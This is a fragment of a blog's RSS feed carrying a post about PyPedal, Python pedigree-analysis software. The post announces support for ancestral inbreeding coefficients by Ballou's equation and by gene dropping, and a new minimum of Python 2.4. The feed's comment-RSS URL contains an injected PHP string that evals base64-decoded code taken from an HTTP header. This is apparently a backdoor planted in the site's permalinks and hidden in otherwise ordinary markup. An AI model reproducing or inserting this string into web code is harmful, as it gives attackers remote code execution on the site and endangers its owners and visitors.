			<content:encoded><![CDATA[<p><a href="http://pypedal.sourceforge.net/" title="PyPedal: Python  Pedigree Analysis Software">PyPedal</a> can now calculate ancestral inbreeding coefficients using either the recursion equation of <a href="http://jhered.oxfordjournals.org/cgi/content/abstract/88/3/169" title="Ancestral Inbreeding Only Minimally Affects Inbreeding Depression in Mammalian Populations">Ballou (1997)</a> or the gene dropping method of <a href="http://www.ingentaconnect.com/content/klu/coge/2007/00000008/00000002/00009187;jsessionid=1yqiukddgi9p6.victoria" title="Evaluation of ancestral inbreeding coefficients: Ballou's formula versus gene dropping">Suwanlee et al. (2007)</a>. Ancestral inbreeding is the probability of an individual inheriting an allele that has undergone inbreeding in the past at least once, and is of interest in conservation and evolutionary genetics relative to purging of deleterious alleles. Results have been validated against small examples provided in each paper, although it looks as though there may be a typo in the coefficient of inbreeding for individual 23 in Figure 1 of Suwanlee et al. (2007); they report <em>f</em> as 0.633 and I get 0.668, but it&#8217;s easy for that kind of thing to happen in typesetting.</p>
<p>Although Suwanlee et la. (2007) make a strong case that Ballou&#8217;s (1997) equation needs to be modified because it assumes that &#8220;regular&#8221; inbreeding and ancestral inbreeding are independent, Ballou&#8217;s method has the advantage of being much faster to calculate.  If the overestimation observed under Ballou&#8217;s method is acceptable then performance-for-accuracy may be an acceptable trade-off. Both methods are provided in <strong>pyp_metrics</strong> so that the user may select whichever best suits their needs.</p>
<p>Several other small changes have been made to PyPedal. The most important of these is that several of the methods in the class <strong>pyp_newclasses/PedigreeMetadata</strong> now use Python sets, which were introduced in Python 2.4. As a result, PyPedal will not run on Python versions earlier than 2.4.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.funjackals.com/blog/2008/02/13/pypedal-now-calculates-ancestral-inbreeding-coefficients/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
